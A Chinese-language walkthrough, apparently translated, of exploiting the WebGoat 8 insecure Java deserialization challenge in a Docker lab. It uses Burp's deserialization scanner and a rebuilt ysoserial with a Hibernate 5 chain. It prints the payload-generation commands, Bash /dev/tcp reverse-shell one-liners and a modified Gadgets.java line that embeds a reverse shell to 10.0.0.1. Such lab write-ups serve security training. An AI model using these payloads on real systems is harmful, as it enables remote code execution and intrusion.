一次受限環境中的Java反序列化漏洞挖掘到Get Shell
在本文中,我們將向你展示一個利用不安全的反序列化漏洞的過程,我們將以WebGoat 8反序列化挑戰(部署在Docker上)為例。只需執行sleep5秒即可解決挑戰。但是,我們將會進一步尋求樂趣並嘗試get shell。
介紹
Java的反序列化問題在安全領域已經被安全人員所熟知很多年了。2015年,兩名安全研究人員 ofollow,noindex">Chris Frohoff 和 Gabriel Lawrence 在AppSecCali上發表了名為 Marshalling Pickles 的演講。此外,他們還發布了一個名為 ysoserial 的有效載荷生成器的工具。
物件序列化主要是為了開發人員能夠將記憶體中的物件轉換為二進位制和文字資料格式進行儲存或傳輸。但是,從不受信任的資料反序列化物件可能會導致攻擊者實現遠端程式碼執行。
漏洞發現
正如WebGoat的挑戰中所提到的,易受攻擊的頁面會從使用者輸入中獲取Base64格式的序列化Java物件,並盲目的進行反序列化。我們將通過提供一個序列化物件來利用此漏洞,該物件觸發面向屬性的程式設計鏈(POP鏈)並在反序列化期間實現遠端命令執行。
WebGoat 8中的不安全的反序列化挑戰
通過啟動Burp並安裝 Java-Deserialization-Scanner 外掛。該外掛有2個功能:第一個功能是漏洞掃描,另一個功能是基於 ysoserial 工具生成Exp。
Burp Suite的Java反序列化掃描程式外掛
掃描遠端端點後,Burp外掛報告結果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起來很棒!
漏洞利用
讓我們轉到下一步並點選Exploiting選項卡來實現任意命令執行。
嗯?這似乎是 ysoserial的 一個Bug。讓我們深入研究一下這個bug並轉移到控制檯,看看究竟是什麼問題。
有效載荷生成錯誤
通過觀察 ysoserial ,我們看到有兩種不同的可用於Hibernate的POP鏈。通過使用這些有效載荷,我們發現它們都沒有在目標系統上執行。
ysoserial中顯示的可用的有效載荷
那麼外掛是如何生成有效載荷並觸發sleep命令的呢?
我們決定在以下連結中檢視外掛的原始碼:
· federicodotta / Java-Deserialization-Scanner
· 針對Burp Suite的一體化外掛,用於檢測和利用Java反序列化漏洞…
我們注意到有效載荷在外掛的原始碼中是硬編碼的,因此我們需要找到一種方法來生成相同的有效載荷來使其能夠觸發漏洞利用。
有效載荷是硬編碼的
在經過一些研究和幫助後,我們發現我們需要修改當前版本的 ysoserial 才能使我們的有效載荷起作用。
我們下載了 ysoserial 的原始碼並決定使用Hibernate 5重新編譯它。為了使用Hibernate 5成功構建ysoserial,我們需要將 javax.el 包新增到pom.xml檔案中。
我們還向原始專案傳送了一個 Pull請求 ,目的是在hibernate5選擇配置檔案時修復構建的一個問題。
更新了pom.xml
我們可以使用以下命令繼續重建 ysoserial :
mvn clean package -DskipTests -Dhibernate5
然後我們就可以生成有效載荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0
生效了的Hibernate 5的有效載荷
我們可以通過下面的命令訪問Docker容器來驗證我們的命令是否執行了:
docker exec -it <CONTAINER_ID> /bin/bash
我們可以看到我們的有效載荷在機器上確實執行成功了!
漏洞利用成功!
我們繼續列舉目標機器上的二進位制檔案。
webgoat@1d142ccc69ec:/$ which php webgoat@1d142ccc69ec:/$ which python webgoat@1d142ccc69ec:/$ which python3 webgoat@1d142ccc69ec:/$ which wget webgoat@1d142ccc69ec:/$ which curl webgoat@1d142ccc69ec:/$ which nc webgoat@1d142ccc69ec:/$ which perl /usr/bin/perl webgoat@1d142ccc69ec:/$ which bash /bin/bash webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。讓我們嘗試製作一個有效載荷,向我們傳送一個反向的shell。
我們在Pentest Monkeys上看到一些單線的反向Shell:
· 如果你很幸運能夠在滲透測試期間找到命令執行漏洞,那麼很快就會…
並決定嘗試下面的Bash反向shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但是,正如你可能想到的那樣,java.lang.Runtime.exec()有一些侷限性。不支援重定向或管道等shell運算子。
我們決定選擇另一個方法,使用Java編寫的反向shell 。我們將修改Gadgets.java上的原始碼來生成反向shell有效載荷。
下面的路徑是我們需要修改的路徑:
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.
Pentest Monkeys上提到了下面的Java反向shell,但它仍然不起作用:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
在嘗試了多次後,我們看到了下面的程式碼:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
讓我們再次重建 ysoserial 並測試生成的有效載荷。
使用Bash反向shell生成武器化的有效載荷
而且..我們成功的彈回來一個反向Shell!
真棒!